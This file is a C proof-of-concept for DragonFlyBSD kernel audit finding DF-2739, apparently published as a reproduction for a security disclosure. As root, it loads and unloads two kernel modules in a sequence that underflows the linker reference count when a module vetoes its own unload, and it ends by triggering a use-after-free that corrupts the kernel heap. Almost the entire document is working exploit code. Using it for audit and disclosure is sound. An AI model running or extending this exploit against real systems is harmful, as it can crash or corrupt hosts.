DragonFlyBSD Kernel Audit
DF-2739 / poc.c
← back to finding ↓ download raw
/*
 * DF-2739 PoC: linker_file_unload() veto-path reference underflow
 *              -> premature module teardown -> use-after-free.
 *
 * Chain (all as root, syscalls only, fully deterministic):
 *  1. kldload vetoa.ko                         refs=1 userrefs=1
 *  2. kern.vetoa_veto=1 ; kldunload(vetoa)     module vetoes; kernel drops
 *     the caller's refs anyway (kern_linker.c:518) -> refs=0, file ALIVE,
 *     userrefs restored to 1.  kldstat shows refs=0 on a loaded file.
 *  3. kldload depb.ko (MODULE_DEPEND vetoa)    dep path bumps refs 0->1
 *     (kern_linker.c:1636): the dependent is now the sole "owner" of a
 *     ref that the veto already consumed once.
 *  4. kern.vetoa_veto=0 ; kldunload(vetoa)     refs==1 -> FULL TEARDOWN of
 *     vetoa while depb->deps[] still references it. kldfind -> ENOENT.
 *  5. kldunload(depb)                          linker_file_unload(depb)
 *     -> linker_file_unload(freed vetoa) (kern_linker.c:545) = UAF:
 *     reads/writes freed M_LINKER chunk, TAILQ_REMOVE on freed memory,
 *     indirect call via freed file->ops.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/sysctl.h>

#ifndef __DragonFly__
#error DragonFly only
#endif

static void
show(const char *tag, const char *name)
{
	struct kld_file_stat st;
	int id = kldfind(name);

	if (id < 0) {
		printf("   %-26s %-10s : NOT LOADED (%s)\n", tag, name,
		    strerror(errno));
		return;
	}
	memset(&st, 0, sizeof(st));
	st.version = sizeof(st);
	if (kldstat(id, &st) == 0)
		printf("   %-26s %-10s : id=%d refs=%d\n", tag, st.name,
		    st.id, st.refs);
	else
		printf("   %-26s %-10s : kldstat failed (%s)\n", tag, name,
		    strerror(errno));
}

static void
setveto(int v)
{
	if (sysctlbyname("kern.vetoa_veto", NULL, NULL, &v, sizeof(v)) < 0) {
		perror("sysctl kern.vetoa_veto");
		exit(1);
	}
}

int
main(void)
{
	int id1, id2, r;

	printf("== step 1: kldload vetoa\n");
	id1 = kldload("/tmp/kldtest/vetoa.ko");
	if (id1 < 0) {
		perror("kldload vetoa");
		exit(1);
	}
	printf("   vetoa fileid=%d\n", id1);
	show("after load", "vetoa.ko");

	printf("== step 2: arm veto; kldunload(vetoa) -- expect EBUSY\n");
	setveto(1);
	errno = 0;
	r = kldunload(id1);
	printf("   kldunload(%d) = %d errno=%d (%s)\n", id1, r, errno,
	    strerror(errno));
	/* BUG MARKER: file still loaded but refs underflowed to 0 */
	show("after vetoed unload", "vetoa.ko");

	printf("== step 3: kldload depb (MODULE_DEPEND vetoa)\n");
	id2 = kldload("/tmp/kldtest/depb.ko");
	if (id2 < 0) {
		perror("kldload depb");
		exit(1);
	}
	printf("   depb fileid=%d\n", id2);
	show("dep loaded; vetoa refs", "vetoa.ko");

	printf("== step 4: disarm veto; kldunload(vetoa) again\n");
	setveto(0);
	errno = 0;
	r = kldunload(id1);
	printf("   kldunload(%d) = %d errno=%d (%s)\n", id1, r, errno,
	    strerror(errno));
	show("after second unload", "vetoa.ko");
	show("depb still loaded", "depb.ko");

	if (r == 0 && kldfind("vetoa.ko") < 0) {
		printf("*** BUG REPRODUCED: vetoa torn down while depb holds "
		       "a dependency reference (dangling dep->deps[]) ***\n");
		printf("== step 5: kldunload(depb) -> "
		       "linker_file_unload(freed vetoa) = UAF\n");
		fflush(stdout);
		sync();
		errno = 0;
		r = kldunload(id2);
		printf("   kldunload(%d) = %d errno=%d (%s)\n", id2, r, errno,
		    strerror(errno));
		printf("*** returned from UAF unload -- heap silently "
		       "corrupted ***\n");
	}
	return (0);
}